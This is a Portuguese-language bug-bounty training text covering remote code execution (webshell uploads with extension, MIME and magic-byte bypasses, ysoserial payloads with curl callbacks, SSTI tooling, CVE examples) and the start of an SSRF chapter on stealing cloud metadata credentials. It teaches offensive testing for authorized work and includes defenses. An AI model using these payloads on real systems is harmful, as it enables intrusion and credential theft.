Ferramenta: `tplmap` automatiza detecção e exploração em 15+ engines (Jinja2, Twig, Freemarker, Velocity, Mako, ERB…). Uso básico `./tplmap.py -u 'http://alvo.com/page?name=John'`; com `--os-shell` ele te dá um pseudo-shell interativo. Ótimo pra confirmar rápido — mas **entenda o payload manual antes**, porque scanner erra engine e gera falso negativo.

Parte C — Upload inseguro → webshell

A meta: subir um arquivo que o servidor **execute**. O webshell PHP mínimo (PayloadsAllTheThings):

```
<?php system($_GET['cmd']); ?>
```

Acessou `shell.php?cmd=id` → roda `id`. As barreiras que você vai encontrar e como passar:

1. Filtro de extensão. Se bloqueiam `.php`, tente as variações que o PHP ainda executa, ou disfarce:

```
shell.phtml   shell.php5   shell.php7   shell.pht   shell.phar
shell.jpg.php          # dupla extensão (filtro só olha o começo)
shell.php.jpg          # dupla reversa (se o servidor casa .php no meio)
shell.pHp              # variação de caixa
shell.php%00.jpg       # null byte (em stacks antigas, corta no %00)
shell.php......        # trailing dots (Windows remove os pontos)
```

> **Truque do `.htaccess` (Apache):** se a app aceita `.htaccess` no diretório de upload, você não precisa burlar a lista de extensões — você **muda as regras**. Suba um `.htaccess` com `AddType application/x-httpd-php .rce` e, a partir daí, qualquer `shell.rce` que você enviar é executado como PHP. Confirmado no PayloadsAllTheThings — Upload Insecure Files.

2. Filtro de `Content-Type` (MIME). A validação confia no header do `multipart`. Você mente:

```
POST /upload HTTP/2
Host: alvo.com
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif        # <- mente: digo que é imagem

<?php system($_GET['cmd']); ?>
-----X--
```

3. Validação por *magic bytes*. O servidor lê os primeiros bytes pra confirmar que é imagem. Você prefixa a **assinatura** real e o PHP roda o resto (PHP ignora o lixo antes do `<?php`):

```
GIF89a;
<?php system($_GET['cmd']); ?>
```

`GIF89a;` é a assinatura de um GIF — passa na checagem de "é imagem?" sem deixar de ser PHP válido. Outras: JPG = `\xFF\xD8\xFF`, PNG = `\x89PNG\r\n\x1a\n`.

4. Onde o arquivo cai (path). Subiu mas não executa? Talvez o diretório de upload não rode PHP (config `php_admin_flag engine off`), ou o nome foi randomizado. Procure o **caminho real** na resposta (muitos endpoints devolvem a URL do arquivo) e teste *path traversal* no `filename` (`../../`) pra sair da pasta isolada.

Parte D — Desserialização (panorama)

Detecção: identifique o **formato serializado** (Java base64 começa com `rO0`; PHP `unserialize` recebe algo tipo `O:4:"User":…`; .NET `ViewState`). Exploração em Java usa o `ysoserial`, que gera *gadget chains* prontas:

```
java -jar ysoserial.jar CommonsCollections5 'curl seu-id.oast.fun' | base64
```

Você joga o blob no parâmetro/cookie serializado e, se houver gadget compatível no classpath, a reconstrução dispara o comando. É um tema denso — aqui fica o mapa; o detalhe (gadget chains por linguagem, `__wakeup` / `readObject`, ysoserial passo a passo) tem capítulo próprio: 29 — Insecure Deserialization.

Caso real-fictício: Git exposto → webshell → RCE

> Cenário **fictício, baseado em padrões reais** de bug bounty (anonimizado).

Você testa `app.exemplo.com`, ambiente de homologação. No recon, percebe que o diretório `.git/` está acessível (clássico de **misconfiguration**, capítulo 11).

Passo 1 — Dump do repositório. Com `git-dumper` você reconstrói o código-fonte a partir do `.git/` exposto:

```
git-dumper https://app.exemplo.com outGit
```

Passo 2 — Achar a joia. Lendo o código baixado, aparece um arquivo de debug que ficou esquecido em produção:

```
// outGit/__comandos.php  — deixado por engano
<?php system($_GET['cmd'], $retorno); echo $retorno; ?>
```

É uma **webshell que o próprio dev escreveu** — `system($_GET['cmd'])` sem nenhum filtro. Command injection servido de bandeja.

Passo 3 — Confirmar RCE (com cuidado). No navegador/Repeater, comandos inofensivos só pra provar:

```
GET /__comandos.php?cmd=id HTTP/2
Host: app.exemplo.com
```

```
HTTP/2 200 OK
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

`uid=33(www-data)` = você executa comandos como o usuário do servidor web. RCE confirmado. Pra documentar o alcance sem causar dano, `cmd=hostname` e `cmd=id` bastam — **não** despeje dado de cliente.

O que a tela do Burp mostraria: painel Request/Response; na Request o `cmd=id` destacado; na Response o `uid=33(www-data)` em texto puro, provando execução.

Passo 4 — Report. Título `[RCE] - Execução remota de comandos via webshell exposta por .git/ público`. Resumo no risco ao negócio: "*qualquer usuário não-autenticado executa comandos arbitrários no servidor (uid www-data), com potencial de comprometimento total do host e pivot pra rede interna*". Passos numerados + prints de `id` / `hostname`. Severidade **Crítica**. (Modelo de report no capítulo 03 — Como escrever um report que paga.)

CVEs reais como ilustração (a técnica, não a cópia)

Dois casos públicos mostram os mesmos mecanismos deste capítulo na prática:

> **CWE / CVSS**: o **CWE** é o "tipo" da falha (ex.: CWE-78 = OS Command Injection); o **CVSS** é a nota de gravidade de 0 a 10 (v3.1 e v4.0 convivem hoje). Como montar o vetor e argumentar a severidade com o triador: 02 — Severidade, impacto e triagem. Definição rápida no Glossário.

- **Command Injection via SMTP — CVE-2024-45519 (Zimbra).** O serviço `postjournal` do Zimbra Collaboration passava conteúdo de e-mail pra um comando do SO sem sanitizar. Um atacante **não-autenticado** mandava um e-mail cujo endereço no `RCPT TO` carregava `$(comando)`, contornando o filtro de espaço com `${IFS}` (ex.: `RCPT TO: <"aaa$(curl${IFS}seu-host)"@dominio.com>`). Classificado **CWE-78 (OS Command Injection)**, CVSS v3.1 **9.8** (vetor `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`; o CNA pontuou 10.0 com escopo alterado). É o caminho "input → shell" da Parte A, só que a fronteira foi o protocolo de e-mail em vez de um campo HTTP. (NVD)
- **Injeção de expressão num gateway — CVE-2022-22947 (Spring Cloud Gateway).** Quando o endpoint **Actuator** do gateway ficava exposto e sem auth,

dava pra criar uma rota com um filtro contendo **SpEL** (Spring Expression Language). A expressão usava reflexão pra chegar em `T(java.lang.Runtime).getRuntime().exec(...)` — primo do payload de Velocity da Parte B. Após um *refresh* da config, acessar a rota disparava o comando com os privilégios do processo do gateway (em muitos containers, **root**). **CWE-917 (Expression Language Injection)**, CVSS v3.1 **10.0** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`). (NVD)

> **Sobre o CVSS v4.0:** o NVD ainda **não publicou** vetor v4.0 pra esses dois CVEs (na data deste capítulo). Pra calibrar a cabeça: um RCE típico não-autenticado, mas **sem comprometer outro sistema além do alvo** (subsequente `SC:N/SI:N/SA:N`), dá **9.3 (Crítico)** no v4.0 — vetor `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`. Ou seja, o "9.8 do v3.1" costuma virar "9.3 do v4.0". Quando o RCE serve de pivô e derruba sistemas vizinhos, o subsequente sobe e o v4.0 chega a 10.0. Sempre confirme no calculador oficial do FIRST.

A lição: o *mecanismo* (dado virando instrução) é sempre o mesmo. Mude a fronteira — SMTP, template, expressão, arquivo — e você reconhece a falha.

Defesa em camadas

RCE se mata na **arquitetura**, não com um regex. Camada por camada:

1. A regra de ouro — nunca passe input pra shell/eval. Use APIs que recebem o comando como **lista de argumentos** (sem shell no meio):

```
// ERRADO — string montada e entregue ao shell
system("ping -c 1 " . $_GET['host']);

// CERTO — sem shell; argumentos isolados, host validado por allowlist
$host = $_GET['host'];
if (!filter_var($host, FILTER_VALIDATE_IP)) { http_response_code(400); exit; }
$out = [];
exec('ping -c 1 ' . escapeshellarg($host), $out);   // escapeshellarg neutraliza metacaracteres
```

```
# Python — NUNCA shell=True com input; passe lista de args
import subprocess, ipaddress
host = request.args["host"]
ipaddress.ip_address(host)                  # valida ou lança exceção
subprocess.run(["ping", "-c", "1", host])   # sem shell: ; | $() são literais, não comandos
```

```
// Node — execFile (sem shell), não exec/child_process com string concatenada
const { execFile } = require("child_process");
```

```
execFile("ping", ["-c", "1", host]);   // host é argumento, nunca interpretado pelo
shell
```

2. SSTI — não construa template com input; sandbox + autoescape.

```
# ERRADO — input vira parte do template
Template("Olá " + nome).render()

# CERTO — input é VARIÁVEL passada ao template; autoescape ligado
render_template("hello.html", nome=nome)   # Jinja2 com autoescape (padrão no Flask)
```

Se você *precisa* deixar usuário editar templates (CMS), use **engine em modo sandbox** (`SandboxedEnvironment` no Jinja2) — mas saiba que sandboxes de template têm histórico de bypass; trate como mitigação, não bala de prata.

3. Upload — valide por conteúdo, sirva de fora do webroot, renomeie.

```
// Allowlist de extensão + checa MIME real + nome aleatório + fora do webroot
$ok = ['jpg' => 'image/jpeg', 'png' => 'image/png'];
$mime = mime_content_type($_FILES['f']['tmp_name']);   // lê o conteúdo, não confia no
header
$ext  = array_search($mime, $ok, true);
if ($ext === false) { http_response_code(415); exit; }

$nome = bin2hex(random_bytes(16)) . '.' . $ext;        // descarta o nome do usuário
move_uploaded_file($_FILES['f']['tmp_name'], "/var/uploads/$nome");  // fora do /var/
www
```

E no servidor: o diretório de uploads **não executa código** (`php_admin_flag engine off` , ou bucket S3 servindo como estático).

4. Desserialização — não desserialize dado não-confiável. Prefira formatos de **dados puros** (JSON com schema) em vez de serialização de objetos. Em Java, use *filtros* de desserialização (`ObjectInputFilter`) com allowlist de classes.

5. Contenção (vale pros quatro). Princípio do menor privilégio: o processo web roda como usuário sem permissão de escrita no código, em container/jail; *egress firewall* barra o OOB/reverse shell; WAF e monitoramento alertam em `id` , `/etc/passwd` , picos de latência.

> **O que NÃO basta:** blacklist de palavras (`cat` , `;`) — o shell tem sinônimos infinitos (vimos os bypasses); validar upload só pelo `Content-Type` (é o atacante que envia); esconder o `.git/` /endpoint no front; confiar que "ninguém vai achar o `__comandos.php` ".

Ferramentas + labs legais

- **Burp Suite** — Repeater (testar separadores/payloads), Intruder (fuzzar engines/ extensões), **Collaborator** (OOB pra blind command injection/SSRF).

- **interactsh** (ProjectDiscovery) — servidor OOB gratuito, alternativa ao Collaborator.
- **tplmap** — automatiza SSTI (detecção + RCE + `--os-shell`).
- **ysoserial** — gera gadget chains pra desserialização Java.
- **commix** (github) — automatiza detecção/exploração de command injection.
- **Labs (autorizados):** PortSwigger — OS command injection e SSTI, DVWA (Command Injection + File Upload), TryHackMe, HackTheBox, HackingClub.

Checklist do caçador

- [ ] Mapeei features que **tocam o SO** (ping, conversão de arquivo, export) e campos **refletidos** (busca, perfil, e-mails de template).
- [ ] Testei os separadores de command injection: `;` `|` `&` `&&` `` ` `` `$()` (Unix) e `&` `&&` `|` `||` (cross-platform).
- [ ] Sem retorno na resposta? Tentei **blind por tempo** (`sleep` / `ping -c 10`) e **OOB** (DNS/HTTP via Collaborator).
- [ ] Filtro no caminho? Apliquei bypass: `${IFS}`, `{a,b}`, aspas/`\` no meio do binário.
- [ ] SSTI: rodei o polyglot `${{<%[%'"}}%\`, confirmei `{{7*7}}` / `${7*7}` = **49**, identifiquei a engine e escalei com o payload certo.
- [ ] Upload: tentei bypass de **extensão**, **MIME** e **magic bytes**; achei o **path** real e testei execução.
- [ ] Procurei dados **serializados** (`rO0`, `O:4:`, ViewState) pra desserialização.
- [ ] Provei o mínimo (`id` / `hostname`/OOB), **sem** tocar dado real, e confirmei que está **no escopo**.

O que você precisa lembrar

- **RCE = input cruzando uma fronteira onde vira instrução.** Quatro fronteiras: shell (command injection), template (SSTI), arquivo executável (upload), objeto reconstruído (desserialização).
- A confirmação muda por caminho: `uid=` (command injection), `49` (SSTI), **execução do webshell** (upload).
- O dinheiro está no **privilégio** e na **autenticação**: não-auth + root = topo do impacto.
- A defesa real é **separar dado de instrução** (args isolados, template com variável, validar por conteúdo) + **contenção** (menor privilégio, egress firewall).

> **Dica de ouro:** quando uma feature processa algo que **vira comando, template, arquivo ou objeto**, mande primeiro um *probe* inofensivo — `;id`, `{{7*7}}`, um `.phtml` com `GIF89a`, ou um *callback* OOB. Se o servidor reagir diferente (executou, avaliou, renderizou, te ligou de volta), você está a um passo de provar RCE. **Prove com o mínimo** — `id` já vale o report.

Nota ética

RCE é a classe mais perigosa pra explorar: um comando errado **derruba ou danifica** sistema de produção. A regra é inegociável — só alvos **autorizados** (bug bounty no escopo, pentest contratado, labs legais), e a PoC é sempre **não-destrutiva**: `id`, `whoami`, `hostname`, ou um *callback* DNS. Nunca leia/exfiltre dado de terceiros, nunca apague nada, nunca deixe webshell ou backdoor pra trás, e jamais abra reverse shell sem autorização explícita por escrito. Achou RCE? Pare, documente o mínimo e **reporte rápido** — host comprometido é risco ativo pro programa. Use pra proteger, não pra destruir.

Referências

- PortSwigger — OS command injection
- PortSwigger — Server-side template injection e exploiting SSTI
- PayloadsAllTheThings — Command Injection, SSTI e Upload Insecure Files
- OWASP — Command Injection e Unrestricted File Upload
- NVD — CVE-2024-45519 (Zimbra postjournal RCE) · NVD — CVE-2022-22947 (Spring Cloud Gateway)
- tplmap · ysoserial · commix

SSRF: fazendo o servidor bater na porta de dentro

O servidor é um office boy obediente demais

Imagina que você manda um boleto pra um office boy entregar num endereço. Ele não pergunta nada: pega o papel com o endereço escrito, vai lá e entrega. Agora imagina que, em vez do endereço do cliente, você escreve "*vai até a sala do cofre, no andar de cima, e me traz o que tiver lá dentro*". Se ninguém treinou o coitado pra desconfiar, ele vai — porque ele **tem a chave do prédio** e você não.

SSRF (Server-Side Request Forgery) é exatamente isso: você convence o **servidor da aplicação** a fazer uma requisição HTTP (ou de outro protocolo) pra um destino que **você** escolhe. E aqui está o pulo do gato — o servidor está **dentro da rede interna**, com IP de confiança, atrás do firewall, muitas vezes com credenciais de nuvem grudadas nele. Coisas que você, vindo de fora, jamais alcançaria, o servidor alcança numa boa. Você só precisa fazer ele bater na porta por você.

Segundo o PortSwigger, SSRF é "uma vulnerabilidade que permite ao atacante induzir a aplicação server-side a fazer requisições para um local não intencional". É uma falha que entrou pro OWASP Top 10 como categoria própria (A10:2021) e que, em programas de bug bounty, paga de algumas centenas de reais (um blind SSRF de baixo impacto) a **dezenas de milhares** quando vira leitura de cloud metadata ou RCE. Bora destrinchar.

O que é SSRF (e por que é tão perigoso)

Definição clara: SSRF acontece quando a aplicação pega uma **URL (ou parte dela) controlada pelo usuário** e faz uma requisição pra esse destino **sem validar pra onde está indo**. O atacante sequestra o destino e usa o servidor como **proxy** (intermediário que faz a requisição no seu lugar — detalhe no Glossário) pra alcançar coisas que estão fora do seu alcance.

> **Analogia que cola:** SSRF é "discar pelo telefone da empresa". De casa, você liga pro ramal interno do RH e cai na secretária eletrônica externa. Mas se você convencer **a recepcionista** (o servidor) a transferir a ligação, ela disca o ramal interno **de dentro da central** — e aí você fala direto com o RH, o financeiro, a sala de servidores. A rede interna **confia** em quem liga de dentro.

Por que isso é tão perigoso? Porque a maioria das defesas de rede assume um modelo de "castelo e fosso": tudo que vem **de fora** é hostil e barrado; tudo que está **dentro** é amigo. O servidor da aplicação está dentro. Então, com SSRF, você fura essa lógica inteira:

- Alcança **serviços internos** que não têm autenticação porque "só a rede interna fala com eles" (bancos de dados, filas, painéis admin, Elasticsearch, Redis).

- Lê o **endpoint de metadata da nuvem** (`169.254.169.254`) e rouba **credenciais temporárias** da máquina — o jackpot.
- Faz **port scan** da rede interna usando o servidor como sonda.
- Em casos extremos, transforma a requisição em **execução de comando** (o famoso chaining SSRF→RCE com `gopher://` + Redis).

Onde costuma aparecer? Em **qualquer funcionalidade que busca uma URL pra você**: webhooks, importação de imagem por URL, geradores de PDF/screenshot a partir de link, validadores de URL, integrações ("conecte sua conta"), pré-visualização de link (aquele card que aparece quando você cola um link no chat), conversores de documento, proxies de imagem, e o clássico `?url=`.

Por que isso importa (e quanto paga)

> **IAM** (Identity and Access Management): serviço de identidades/permissões na nuvem; a "role" é a identidade com permissões atribuída à máquina.

O impacto do SSRF varia muito — e é justamente o impacto que define o cheque. Em ordem crescente:

Cenário	Impacto	Faixa típica de bounty
Blind SSRF (só confirma saída DNS/HTTP, sem ler resposta)	Baixo/Médio	R$200 – R$1.500
SSRF "full read" alcançando serviço interno / painel sem auth	Médio/Alto	R$1.500 – R$8.000
SSRF → cloud metadata (rouba credencial IAM/token)	Crítico	R$8.000 – R$30.000+
SSRF → RCE (gopher+Redis, deserialização, etc.)	Crítico	dezenas de milhares

> **O salto de valor está no que você consegue *alcançar*.** Um blind SSRF "pelado" paga pouco. O mesmo SSRF que chega no `169.254.169.254` e devolve uma credencial AWS vira **crítico** num piscar de olhos. Por isso, achar o SSRF é metade do trabalho; a outra metade é **escalar o alvo interno**.

Pra falar a língua do triador, leve um **CVSS** junto (sempre o **v3.1**, que ainda é o que a maioria dos programas usa; o **v4.0** vem ganhando espaço — então cito os dois). Dois âncoras úteis:

Cenário	CVSS v3.1	CVSS v4.0
Blind SSRF (só confirma saída, lê só sinal de baixa sensibilidade)	**4.3 Médio** — `AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`	**Médio** — `AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
SSRF (autenticado) lendo IMDS e roubando credencial IAM		

Cenário	CVSS v3.1	CVSS v4.0
'	**8.5 Alto** — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N`	**Crítico** — `AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`

> O CVSS-base do SSRF "puro" costuma travar em **Alto**; é o **chaining** (a credencial roubada vira *takeover* da conta AWS, ou o gopher+Redis vira RCE) que empurra o risco real pro topo do **Crítico**. Reporte o score-base honesto e descreva o impacto encadeado em texto — não infle o número. Os decimais do v3.1 acima foram conferidos na calculadora oficial do FIRST; para o decimal exato do v4.0, rode o vetor na calculadora v4.0 (a escala do v4.0 não é linear). Ajuste `PR` (`N` se o endpoint for **não autenticado** — aí o score sobe) conforme o alvo.

Na hora de reportar, foque o impacto no negócio: "*qualquer usuário consegue ler serviços internos / obter credenciais de nuvem da aplicação*". (Como montar isso direito, veja o capítulo Como escrever um report que paga, e pra calibrar a severidade, o Severidade & Impacto.)

Como funciona por trás

A raiz é sempre a mesma: **o servidor confia numa URL que veio do cliente e faz a requisição sem checar o destino.** Olha o fluxo vulnerável típico — uma funcionalidade de "importar imagem por URL":

```
POST /api/perfil/avatar-por-url HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json

{"imageUrl": "https://i.imgur.com/foto.png"}   # <- o destino é seu pra escolher
```

```
// Backend VULNERÁVEL — busca QUALQUER URL que o cliente mandar
$url = $_POST['imageUrl'];
$conteudo = file_get_contents($url);   // <- aqui mora o SSRF: zero validação de
destino
salvarAvatar($conteudo);
```

O `file_get_contents()` (ou `curl`, `requests.get()`, `fetch()` ...) não tem a menor ideia de que `https://i.imgur.com/foto.png` deveria ser um destino "de imagem externa". Pra ele, qualquer string é uma URL válida. Então se eu trocar por:

```
{"imageUrl": "http://169.254.169.254/latest/meta-data/"}
```

...o servidor vai, obedientemente, buscar o endpoint de metadata da própria nuvem **a partir de dentro** e me devolver (ou agir sobre) o conteúdo. Eu, de fora, jamais conseguiria acessar `169.254.169.254` — esse IP só responde *de dentro da instância*. O servidor é minha ponte.

O ponto-chave conceitual: **a confiança que a rede deposita no servidor passa a ser sua.** É herança de privilégio.

Tipos e variações

Basic (in-band) SSRF — você lê a resposta

A aplicação te **devolve** o conteúdo que ela buscou. É o melhor cenário pro atacante: você manda `http://localhost/admin`, e o painel admin volta na resposta. Dá pra ler metadata, ler serviços internos, fazer port scan vendo o tempo/erro de resposta.

Blind SSRF — você NÃO lê a resposta

A aplicação faz a requisição, mas **não te mostra o resultado** (ex.: um webhook que dispara em background, ou um pingback). Você sabe que disparou porque **monitora a chegada** num servidor seu. O PortSwigger define como o caso em que "a aplicação pode ser induzida a fazer uma requisição HTTP de back-end pra uma URL fornecida, mas a resposta não é retornada no front-end". Detecta-se com **OAST** (Out-of-band Application Security Testing: você usa um servidor *seu* como "isca" e confirma o bug pelo tráfego que **chega nele** por fora da resposta da app) — falaremos disso no recon.

Semi-blind

Você não vê o corpo, mas vê **sinais**: tempo de resposta, código HTTP, tamanho, mensagens de erro distintas. Dá pra inferir "essa porta interna está aberta" vs "fechada" mesmo sem ler o conteúdo.

Tipo	Lê a resposta?	Como confirma	Impacto base
Basic / in-band	Sim	Conteúdo interno aparece na resposta	Alto
Semi-blind	Parcial	Tempo/status/tamanho/erro diferentes	Médio
Blind	Não	Interação OAST (DNS/HTTP no seu servidor)	Baixo/Médio

Recon — como encontrar

Onde caçar

Procure **toda funcionalidade que pega uma URL e vai buscar algo**:

- Parâmetros óbvios: `url`, `uri`, `link`, `src`, `dest`, `redirect`, `target`, `domain`, `callback`, `webhook`, `feed`, `host`, `to`, `out`, `path`, `continue`, `image`, `imageUrl`, `file`, `document`, `proxy`.
- Funcionalidades: importar por URL, gerar PDF/thumbnail/screenshot de um link, "preview" de link, validador de URL, integrações via webhook, conectores, parsers de XML (XXE pode virar SSRF), SAML/SSO.
- Headers que viram destino: às vezes o servidor segue o `Referer` ou um header customizado.
- **WordPress com `xmlrpc.php`** habilitado: blind SSRF "de prateleira" via `pingback.ping` (detalhe no Nível 1). Fingerprint de WP antigo é forte indício de que o pingback segue exposto.

```
# Caçar parâmetros tipo URL nos JS e na superfície (já vimos essas ferramentas no capítulo de Recon)
echo "https://alvo.com" | gau | grep -Ei '(\?|&)(url|uri|link|src|dest|redirect|target|callback|webhook|feed|image|file)=' | sort -u
```

> `gau` (GetAllURLs) coleta URLs históricas de fontes públicas (Wayback, Common Crawl). O `grep` filtra só os parâmetros que cheiram a "destino". Se você ainda não conhece essas ferramentas, o capítulo Recon & Discovery apresenta todas.

A ferramenta-chave: um servidor OAST

Pra **blind SSRF**, você precisa de um endpoint externo que registre quem bate nele. Opções:

- **Burp Collaborator** (no Burp Suite Pro) — gera um subdomínio único (ex.: `xyz.oastify.com`) e mostra cada interação **DNS** e **HTTP** que chega. É o padrão da indústria.
- **interactsh** (open source, do ProjectDiscovery) — alternativa gratuita; roda `interactsh-client` e te dá um domínio pra usar.
- Um `nc -lvnp 80` num VPS seu, ou serviços tipo webhook.site (cuidado com dados sensíveis em serviços públicos).

A lógica: você coloca a URL do Collaborator no parâmetro suspeito. **Se chegar uma interação DNS ou HTTP, o servidor saiu pra buscar** → SSRF confirmado.

> **DNS vs HTTP:** é comuníssimo o servidor fazer a **resolução DNS** do seu domínio mas o **firewall barrar a saída HTTP**. Se você vê só o DNS chegando, ainda é SSRF (a aplicação tentou), mas o impacto pode ser limitado. Vale registrar os dois.

Exploração passo a passo (do básico ao avançado)

Nível 1 — Confirmar com OAST (blind)

Comece sempre confirmando que **existe** uma requisição de saída. Coloque seu domínio Collaborator no parâmetro:

```
POST /api/perfil/avatar-por-url HTTP/2
Host: app.exemplo.com
Content-Type: application/json

{"imageUrl": "http://abc123.oastify.com/x"}   # <- seu domínio OAST
```

Olha o Collaborator. Chegou DNS + HTTP? **SSRF confirmado.** Agora é hora de escalar o alvo interno.

Atalho: blind SSRF "de prateleira" no WordPress (`xmlrpc.php` → `pingback.ping`)

Se o alvo roda **WordPress** com o `xmlrpc.php` habilitado (o que é comuníssimo, principalmente em versões antigas — um *fingerprint* de WP desatualizado já é forte indício de que o pingback segue exposto), você tem um blind SSRF pronto, **sem precisar de um parâmetro** `?url=`. O método `pingback.ping` foi feito pra notificar outro blog que você o linkou — e, pra "verificar" esse link, o servidor faz uma **requisição de saída** pro endereço que você mandar. É SSRF por design.

```
POST /xmlrpc.php HTTP/2
Host: alvo.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://abc123.oastify.com/</string></value></param>  <!-- 1º:
SEU OAST (de onde "veio" o pingback) -->
    <param><value><string>https://alvo.com/?p=1</string></value></param>       <!-- 2º:
um post válido do alvo -->
  </params>
</methodCall>
```

A resposta costuma vir `200 OK` com um `methodResponse` / `faultCode` (ex.: `faultCode 0`, ou um fault de "pingback already registered") — e **no Collaborator chega o GET de saída** com

`User-Agent: WordPress/<versão>` e a mensagem "verifying pingback from". É a confirmação do blind SSRF.

> **Bypass do filtro de path:** se um WAF/regra bloqueia o acesso direto a `/xmlrpc.php`, dá pra tentar reescrever o caminho por header — alguns back-ends honram o `X-Rewrite-Url`: `http POST /xmlrpc HTTP/2 Host: alvo.com X-Rewrite-Url: xmlrpc.php` Os mesmos headers de reescrita (`X-Rewrite-Url: wp-json/v2/users`, `X-Rewrite-Url: wp-login.php`) servem pra alcançar outras rotas WP filtradas — vale ter no bolso.

O impacto desse vetor costuma ser **baixo** (blind, sem leitura da resposta), mas **ainda paga** — programas reais já recompensaram o pingback do WordPress justamente porque, mesmo cego, ele comprova requisição de saída controlada pelo atacante. Como transformar isso em algo "vendável", veja logo abaixo.

Como justificar o impacto de um blind SSRF pro triador

Blind SSRF é difícil de "vender" — o triador olha e pensa "e daí que o servidor resolveu meu domínio?". O que funciona na prática:

1. **Aponte o potencial de port scan interno:** a partir do servidor (que está dentro da rede), o mesmo vetor pode mirar `http://127.0.0.1:PORTA/` e `http://10.x.x.x:PORTA/`. Você **não precisa varrer tudo** — basta demonstrar que o destino é controlável e que ele alcança a rede interna.
2. **Comprove porta aberta vs. fechada pelo *timing*:** quando não há leitura da resposta, a **diferença de tempo** entre uma porta aberta (responde/handshake rápido) e uma fechada (timeout/RST) já é evidência de que o servidor está conectando em destinos internos seus. É o degrau que tira o bug do "meramente cego" e mostra alcance.
3. **Some o contexto de negócio:** "qualquer um na internet força o servidor a emitir requisições internas" é um risco concreto — e a severidade depende muito da visão da empresa sobre exposição da rede interna.

Nível 2 — Bater em localhost / serviços internos (basic)

Tente alcançar a própria máquina e a rede interna. O exemplo canônico do PortSwigger:

```
POST /product/stock HTTP/2
Host: alvo.com
Content-Type: application/x-www-form-urlencoded

stockApi=http://localhost/admin       # <- painel que só responde "de dentro"
```

```
# Variações de destino interno pra testar:
http://127.0.0.1/             http://localhost/
http://127.0.0.1:8080/        http://127.0.0.1:6379/   (Redis)
```

```
http://192.168.0.68/admin     http://10.0.0.1/
http://[::1]/                 http://169.254.169.254/  (metadata!)
```

Se o conteúdo interno voltar na resposta (basic) ou se o tempo/erro mudar (semi-blind), você está dentro da rede.

Nível 3 — Cloud metadata (o jackpot)

> **TTL** (Time To Live): tempo máximo de vida (aqui, do token).

Servidores em nuvem têm um **endpoint mágico de metadata** num IP link-local (faixa `169.254.x.x`, só roteável **dentro** da própria máquina/rede local — por isso você não alcança de fora) que entrega configuração e — crucialmente — **credenciais temporárias** da role IAM (a "identidade" com permissões que a nuvem atribui à máquina) atribuída à máquina. Cada provedor tem seu jeito:

AWS — IMDSv1 (legado, sem proteção): basta um GET. Segundo a doc oficial da AWS, se nenhum header especial estiver presente, a requisição é tratada como IMDSv1:

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
# devolve o NOME da role, ex.: minha-role-ec2
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/minha-role-ec2
# devolve AccessKeyId, SecretAccessKey e Token (credencial temporária!)
```

Com `imageUrl: "http://169.254.169.254/latest/meta-data/iam/security-credentials/"` num SSRF basic, você lê a credencial AWS direto na resposta. Isso é **crítico**: a partir daí você assume a identidade da máquina na AWS.

> **IMDSv2**: versão 2 do endpoint de metadata da AWS (169.254.169.254), com token de sessão — mais segura que a IMDSv1.

AWS — IMDSv2 (session-oriented, com defesa): a doc da AWS exige um **token de sessão** obtido via `PUT` antes de qualquer `GET`:

```
# 1) Pega o token (PUT com header de TTL — máximo 21600s = 6h)
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
# 2) Usa o token no GET
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

Repara por que isso **mata a maioria dos SSRFs** — desde que o IMDSv2 esteja **obrigatório** (`http-tokens=required`, veja a Camada 5): um SSRF simples só faz **GET**, e não consegue (a) mandar um **PUT** nem (b) **adicionar o header** `X-aws-ec2-metadata-token`. Quando o token é

exigido, requisições sem token válido (ou expirado) recebem `401 - Unauthorized`. Além disso, o `PUT` é **rejeitado se contiver header** `X-Forwarded-For` (típico de proxy) e o **hop limit** padrão da resposta ao `PUT` é 1 (não atravessa um proxy/container). É exatamente a "defesa em profundidade contra SSRF" que a AWS pregou ao lançar o v2. Atenção a uma pegadinha: **por padrão a instância aceita v1 *e* v2** — só quando o operador marca `http-tokens=required` é que o v1 morre e o GET puro deixa de funcionar. Por isso, SSRF que chega no metadata de uma instância **só-IMDSv2** muitas vezes não vira nada — a menos que você tenha um `gopher://` que monte um PUT com header (raro) ou um SSRF que controle método e headers.

GCP: o endpoint é `metadata.google.internal` (= `169.254.169.254`) e o caminho moderno `computeMetadata/v1/` **exige o header** `Metadata-Flavor: Google` — o que, igual ao IMDSv2, neutraliza SSRF simples que não controla headers. (Os caminhos legados `v0.1` / `v1beta1`, que *não* exigiam header, foram desligados em 30/09/2020):

```
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
default/token
Metadata-Flavor: Google      # <- sem esse header, o GCP recusa
```

Azure: endpoint `http://169.254.169.254/metadata/instance?api-version=2021-02-01`, exige header `Metadata: true` e o query param `api-version`. Mesma lógica de defesa por header.

> **Regra mental:** SSRF que **só controla a URL** (método GET, sem headers) lê IMDSv1 fácil, mas **bate na parede** no IMDSv2 / GCP / Azure (que exigem PUT ou header). SSRF que **controla método e headers** (ou via `gopher://`) fura tudo. Saber qual tipo você tem decide o impacto.
>
